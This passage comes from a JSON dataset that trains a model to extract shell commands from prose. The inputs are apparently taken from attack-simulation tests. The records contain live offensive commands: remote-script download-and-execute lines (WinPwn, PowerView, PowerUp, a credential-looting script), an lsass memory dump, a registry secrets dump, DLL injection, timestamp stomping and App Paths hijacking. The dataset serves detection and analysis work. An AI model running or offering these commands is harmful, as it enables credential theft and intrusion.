\\\"$env:ProgramFiles\\\\dotnet\\\\shared\\\\Microsoft.NETCore.App\\\\5*\\\\createdump.exe\\\"\\n& \\\"$exePath\\\" -u -f $env:Temp\\\\dotnet-lsass.dmp (Get-Process lsass).id\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For scanning ports to identify listening services on the local host, run the command: nmap #{host_to_scan}; To scan ports and check for listening services, use the following Python command: python \"#{filename}\" -i #{host_ip}\n", "output": "{\"command_list\": [\"nmap #{host_to_scan}\", \"python \\\"#{filename}\\\" -i #{host_ip}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using Python's tarfile module, you can compress files by executing:\nwhich_python=`which python || which python3`\n$which_python -c \"import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()\"; This technique requires Windows 10 and allows DLL injection into a running process with the command: mavinject.exe #{process_id} /INJECTRUNNING \"#{dll_payload}\"\n", "output": "{\"command_list\": [\"which_python=`which python || which python3`\\n$which_python -c \\\"import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()\\\" \\n\", \"mavinject.exe #{process_id} /INJECTRUNNING \\\"#{dll_payload}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To loot local credentials using the Invoke-WCMDump technique from WinPwn, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\nInvoke-WCMDump; To stomp on the access timestamp of a file, use the following command: touch -a -t 197001010000.00 #{target_filename}\n", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\\nInvoke-WCMDump\", \"touch -a -t 197001010000.00 #{target_filename}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For detecting stored credentials in Group Policy files, use this PowerShell command from a workstation: . \"#{gpp_script_path}\"\nGet-GPPPassword -Verbose, which will either reveal found credentials or report no files were located.; To extract sensitive information from the Windows registry, use the following command: \"#{psexec_exe}\" -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y. This will save the secrets key to a temporary file for further analysis.", "output": "{\"command_list\": [\". \\\"#{gpp_script_path}\\\"\\nGet-GPPPassword -Verbose\\n\", \"\\\"#{psexec_exe}\\\" -accepteula -s reg save HKLM\\\\security\\\\policy\\\\secrets %temp%\\\\secrets /y\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The registry entries under App Paths serve to associate executables with their full paths and adjust PATH variables. For this test, modifying these entries will launch notepad instead of the intended application when executed, which can be done with the command: reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\#{app_name}\" /t REG_SZ /d #{new_path} /f; This technique involves creating a fake parent directory and running a process from it with these commands:\nmkdir $HOME/...\ncp $(which sh) $HOME/...\n$HOME/.../sh -c \"echo #{test_message}\"\n", "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\#{app_name}\\\" /t REG_SZ /d #{new_path} /f\\n\", \"mkdir $HOME/...\\ncp $(which sh) $HOME/...\\n$HOME/.../sh -c \\\"echo #{test_message}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To identify Windows systems vulnerable to BlueKeep within the domain, you can utilize the bluekeep function of WinPwn by running the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nbluekeep -noninteractive -consoleoutput; For scanning web applications with known vulnerabilities, run the following WinPwn fruit function command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nfruit -noninteractive -consoleoutput", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nbluekeep -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nfruit -noninteractive -consoleoutput\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To identify the Domain Controller using PowerView, run the following command which will display relevant information: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose; To list all Systems from Active Directory along with their paths, use the following PowerShell command: try { get-wmiobject -class ds_computer -namespace root\\directory\\ldap -ErrorAction Stop }\ncatch { $_; exit $_.Exception.HResult }", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose\\n\", \"try { get-wmiobject -class ds_computer -namespace root\\\\directory\\\\ldap -ErrorAction Stop }\\ncatch { $_; exit $_.Exception.HResult }\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command 